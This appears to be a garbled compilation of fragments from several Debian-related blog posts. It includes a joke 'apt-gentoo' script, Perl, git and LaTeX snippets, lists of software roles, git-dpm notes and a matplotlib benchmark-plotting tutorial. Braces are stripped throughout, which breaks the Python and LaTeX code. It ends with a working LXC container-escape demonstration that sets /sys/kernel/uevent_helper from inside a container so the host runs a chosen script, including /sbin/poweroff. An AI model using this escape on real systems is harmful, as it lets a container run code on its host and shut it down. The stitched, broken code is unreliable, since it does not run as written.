* Package name    : apt-gentoo
  Version         : 0.0.1
* URL             : http://www-jcsu.jesus.cam.ac.uk/~mma29/apt-gentoo/
* License         : GPL version 2 or above
  Description     : enhanced package installation
 apt-gentoo enhances the Debian package installation experience to make
 it fully competitive with newly-popular source-based distributions.
 As packages are installed, apt-gentoo automatically downloads their
 build logs from the buildd network. The logs are then slowly scrolled
 past on the user's terminal to simulate building the software on the
 local machine.
 [..]

#!/usr/bin/env python
#
# Insert into /etc/apt/conf.d/50apt-gentoo:
#
# DPkg  
#         Pre-Install-Pkgs   "/path/to/apt-gentoo   true";  ;
#  ;
import time
import random
import urllib
import urllib2
import urlparse
import fileinput
from lxml import etree
from debian import debfile
for filename in fileinput.input():
    pkg_data = debfile.DebFile(filename.strip()).debcontrol()
    url = "https://buildd.debian.org/status/logs.php?%s" % urllib.urlencode( 
        'pkg': pkg_data['Package'],
        'ver': pkg_data['Version'],
        'arch': pkg_data['Architecture'],
     )
    html = etree.parse(urllib2.urlopen(url), etree.HTMLParser())
    link = html.xpath("//table[@class='data logs']//td[3]/a")
    try:
        fetch_url = urlparse.urljoin(
            'https://buildd.debian.org/status/',
            link[0].get('href'),
        )
    except IndexError:
        continue
    html = etree.parse(urllib2.urlopen(fetch_url), etree.HTMLParser())
    try:
        log = html.xpath('//pre')[0].text.split('\n')
    except IndexError:
        continue
    for line in log:
        print line
        time.sleep(random.random() * 0.09)

Filed under: English Phpmyadmin 0 comments Flattr this!

[...]
if (-d 'fields') 
    system('rm', '-rf', 'fields') == 0
        or die 'Could not remove old fields directory';
 
[...]

$ git rm t/ source,debs /*/copyright

    while (my $line = <$pkgin>)  
	chomp($line);
	my (undef, undef, undef, $file) = split(/\s+/, $line, 4);
	$pool->add_file($file);
     

\documentclass article 
\usepackage url 
\usepackage[T1] fontenc 
\usepackage[top=3pt, bottom=3pt, left=3pt, right=3pt, paperwidth=6.7cm, paperheight=1.6cm] geometry 
\begin document 
\noindent
\url http://example.com/with_underscore/ \\
\urlstyle sf 
\url http://example.com/with_underscore/ \\
\makeatletter
% Inspired by http://anti.teamidiot.de/nei/2009/09/latex_url_slash_spacingkerning/
% but slightly less kern and shorter underscore
\let\UrlSpecialsOld\UrlSpecials
\def\UrlSpecials \UrlSpecialsOld\do\/ \Url@slash \do\_ \Url@underscore %
\def\Url@slash \@ifnextchar/ \kern-.11em\mathchar47\kern-.2em %
     \kern-.0em\mathchar47\kern-.08em\penalty\UrlBigBreakPenalty 
\def\Url@underscore \nfss@text \leavevmode \kern.06em\vbox \hrule\@width.3em 
\makeatother
\url http://example.com/with_underscore/ 
\end document 

Photograph taken by Julia Palandri

14 comments Liked this article? Click here. My blog is Flattr-enabled.

• developers actually create the software; they include architects, coders, documenters, testers, maintenance programmers, etc; their deliverable is a release tarball
• sysadmins install the software on a host, and install new versions when appropriate; often, the sysadmin is expected to carefully read README files, and construct or tweak configuration files accoriding to the specific needs of their users; their deliverable is some files in /usr/local and /etc, plus perhaps an announcement e-mail to an internal mailing list
• users use the software; they have no deliverable in this context

• users control their own machines, and are not experts on the software, or on using computers at all, and requiring them to be would be to limit their freedom in important ways; the big change is that users now have much more control of their computing environment than before
• sysadmins mainly work for companies or other organizations; they need not be experts on what their users do, and in fact often aren't, but they know how to handle systems that are by nature too complicated or hard for the layman to handle, because of performance, reliability, security, or other such needs
• distro developers create a system consisting of thousands or tens of thousands of components (mostly provided by upstream developers), and integrate and adjust things so that they work together; they also monitor upstream projects and other news sources for updates, and provide those
• upstream developers actually create the software; they include architects, coders, documenters, testers, maintenance programmers, etc;
  their deliverable is a release tarball (no change from earlier)

<div id="viewerPlaceHolder" class="nonipad">

• Feature branches
  I've looked a long time into topgit, and like many other gave up. I think there is one big problem: It is not compatible with git.
  Git tracks the history of commits. Everything that is in the history is assumed to be already applied. So if you merge something with a change applied and reverted with something with a change applied, the logical conclusion for git is to not apply it (or rather also apply the revert).
  This means that if you have multiple feature branches on top of each other, you cannot easily remove a branch from under the other. You can also not easily switch the order of patches. There are many ideas floating around how to work around this, but I personally would not wait until some manages to finish topgit or some replacement of it with that functionality.
• Reverting to an older state or branching off
  The other problem with many feature branches is that while due to aggressive merging you can fast-forward to a newer state, reverting to an older state of all the branches is relatively complicated.
  With the "rebased patch branch merged into you debian branch history" approach of git-dpm on the other hand, branching of a state is extremely simple:
  git checkout -b squeeze reprepro-debian-4.2.0-2
  for example is the only thing that was needed to branch of a branch for stable updates. Reverting to a previous state with git reset --hard is not much more complicated (at most you need to remove the upstream and patched branches, if they are needed they will be recreated anyway).

Quick introduction You can use matplotlib from IPython to experiment:

$ ipython -pylab
Python 2.6.7 (r267:88850, Jul 10 2011, 08:11:54) 
Type "copyright", "credits" or "license" for more information.
  Welcome to pylab, a matplotlib-based Python environment.
  For more information, type 'help(pylab)'.
> In [1]: plot([1,1,4,5,10,11])

When you are ready, you can build a simple Python script:

#!/usr/bin/env python
from matplotlib.pylab import *
plot([1,1,4,5,10,11])
savefig("my-plot.pdf")

Grabbing results from CSV Data are contained into a file named realtime.csv. It contains the raw data as well as some general information about the benchmark (test name, description, paramaters ). We need to skip those. Fortunately, csv2rec() allows to load data from a CSV file into a record array and skip the first rows if necessary.

from matplotlib.pylab import *
import sys, os
import gzip
skip = 0
for line in gzip.open(sys.argv[1]):
    if line.startswith("Seconds Elapsed,"):
        break
    skip = skip + 1
ava = csv2rec(gzip.open(sys.argv[1]),skiprows=skip)

Now, the Elapsed seconds column can be accessed with ava['elapsed_seconds'].

General structure I need 4 plots:

• successful, unsuccesful and attempted transactions per second,
• minimum, average and maximum response time per page,
• Avalanche CPU usage,
• incoming and outgoing bandwidth.

The most important plot is the first one. The second one is less important and the last ones are here only to check we did not hit some bottleneck during the benchmark. We want to produce a page like this: matplotlib allows to plot subfigures. We create 4 subfigures sharing the same X axis (which the number of seconds elapsed since the beginning of the benchmark). We save the result to PDF.

# Create the figure (A4 format)
figure(num=None, figsize=(8.27, 11.69), dpi=100)
ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2)
# [...]
ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1)
# [...]
ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1)
# [...]
ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1)
# [...]
# Save to PDF
savefig("%s.pdf" % TITLE)

Bandwidth plot Let s start with the easiest plot: bandwidth usage.

# Plot 4: Bandwidth
ax4 = subplot2grid((4, 2), (3, 1), sharex=ax1)
plot(ava['seconds_elapsed'], ava['incoming_traffic_kbps']/1000.,
     'b-', label='Incoming traffic')
plot(ava['seconds_elapsed'], -ava['outgoing_traffic_kbps']/1000.,
     'r-', label='Outgoing traffic')
grid(True, which="both", linestyle="dotted")
ylabel("Mbps", fontsize=7)
xticks(fontsize=7)
yticks(fontsize=7)

Here, in the suplot positioned in (3,1), we plot the number of seconds elapsed versus the incoming traffic with a blue line (b-). We also plot the seconds elapsed versus the outgoing traffic with a red line (r-). Here is the result: Most functions of matplotlib are exposed as a method of the object they refer to and as a global function. In the latest case, the function is applied to the latest created figure or plotting area. For example, plot() is called a function and therefore refer to the plotting area ax4. We could have written ax4.plot() instead.

CPU plot The average CPU utilization data available in the CSV file needs to be normalized. We assume the Avalanche to be mostly idle on start. The plotting part is pretty similar to our previous case.

# CPU
max = np.max(ava['average_cpu_utilization'])
order = 10**np.floor(np.log10(max))
max = np.ceil(max/order)*order
cpu = (max - ava['average_cpu_utilization'])*100/max
# Plot 3: CPU
ax3 = subplot2grid((4, 2), (3, 0), sharex=ax1)
plot(ava['seconds_elapsed'],
     cpu,
     'r-', label="Avalanche CPU")
grid(True, which="both", linestyle="dotted")
ylabel("Avalanche CPU%", fontsize=7)
xticks(fontsize=7)
yticks(fontsize=7)

Response time We would like to plot response time. We have three corresponding metrics: minimum response time, average response time, maximum response time. Because those metrics start from 0 ms up to several seconds, a logarithmic scale is used:

# Plot 2: response time
ax2 = subplot2grid((4, 2), (2, 0), colspan=2, sharex=ax1)
plot(ava['seconds_elapsed'], ava['minimum_response_time_per_page_msec'],
     'b-', label="Minimum response time")
plot(ava['seconds_elapsed'], ava['maximum_response_time_per_page_msec'],
     'r-', label="Maximum response time")
plot(ava['seconds_elapsed'], ava['average_response_time_per_page_msec'],
     'g-', linewidth=2, label="Average response time")
legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=8))
grid(True, which="major", linestyle="dotted")
yscale("log")
ylabel("Response time (msec)", fontsize=9)
xticks(fontsize=9)
yticks(fontsize=9)

This is also the first graphic with a legend.

Transactions per second The most important plot is the number of transactions per second.

# Plot 1: TPS
ax1 = subplot2grid((4, 2), (0, 0), rowspan=2, colspan=2)
plot(ava['seconds_elapsed'], ava['desired_load_transactionssec'],
     '-', color='0.7', label="Desired Load")
plot(ava['seconds_elapsed'], ava['successful_transactionssecond'],
     'g:', label="Successful")
plot(ava['seconds_elapsed'], smooth(ava['successful_transactionssecond']),
     'g-', linewidth=2)
plot(ava['seconds_elapsed'], ava['attempted_transactionssecond'],
     'b-', label="Attempted")
plot(ava['seconds_elapsed'], ava['aborted_transactionssecond'],
     'k-', label="Aborted")
plot(ava['seconds_elapsed'][:-1], ava['unsuccessful_transactionssecond'][:-1],
     'r-', label="Unsuccessful")
legend(loc='upper left', fancybox=True, shadow=True, prop=dict(size=10))
grid(True, which="both", linestyle="dotted")
ylabel("Transactions/s")

The number of successful transactions is plotted twice: when the benchmarked equipment becomes overloaded, we get a lot of noise in this metric and it can be difficult to read. Therefore, we plot a smoothed version with the help of NumPy:

import numpy as np
def smooth(x, win=4):
    s = np.r_[x[win-1:0:-1],x,x[-1:-win:-1]]
    w = np.ones(win, 'd')
    y = np.convolve(w/w.sum(),s,mode='valid')
    return y[(win-1)/2:-(win-1)/2]

np.r_() is just here to extend our data by the size of the window. np.ones() build a weight vector of the size of the window. If the window is 4, we get [0.25, 0.25, 0.25, 0.25]. We use this vector to apply a convolution to the original data. Here is the result: The original data is a green dotted line while the smoothed one is a green thick line. What about the three annotations? matplotlib allows to put annotations on a figure. Here is how this is done:

# Noticeable points
count = 0
def highlight(index, reason):
    global count
    if index and index > 0:
        x,y = (ava['seconds_elapsed'][index],
               smooth(ava['successful_transactionssecond'])[index])
        plot([x], [y], 'ko')
        annotate('%d TPS\n(%s)' % (y,reason), xy=(x,y),
                 xytext=(20, -(count+4.7)*22), textcoords='axes points',
                 arrowprops=dict(arrowstyle="-",
                 connectionstyle="angle,angleA=0,angleB=80,rad=10"),
                 horizontalalignment='left',
                 verticalalignment='bottom',
                 fontsize=8)
        count = count + 1
highlight(np.argmax(smooth(ava['successful_transactionssecond'])), "Max TPS")
highlight(np.argmax(cpu > 99), "CPU>99%")
highlight(np.argmax(ava['average_response_time_per_page_msec'] > 500), ">500ms")
highlight(np.argmax(ava['average_response_time_per_page_msec'] > 100), ">100ms")

np.argmax() returns the index of the first maximum value. The trick here is that when I write ava['average_response_time_per_page_msec'] > 100, I get an array with 1 when the value is more than 100 and 0 otherwise. Therefore, np.argmax() will return the first index where the value is superior to 100 ms. The highlight() function will add a point (plot([x], [y], 'ko')) on the smoothed successful transactions par second plot and add an annotation with some fancy arrow. Look at this benchmark of nginx as SSL termination for a complete output of this script.

lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper
lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent

inside# echo /sbin/poweroff > /sys/kernel/uevent_helper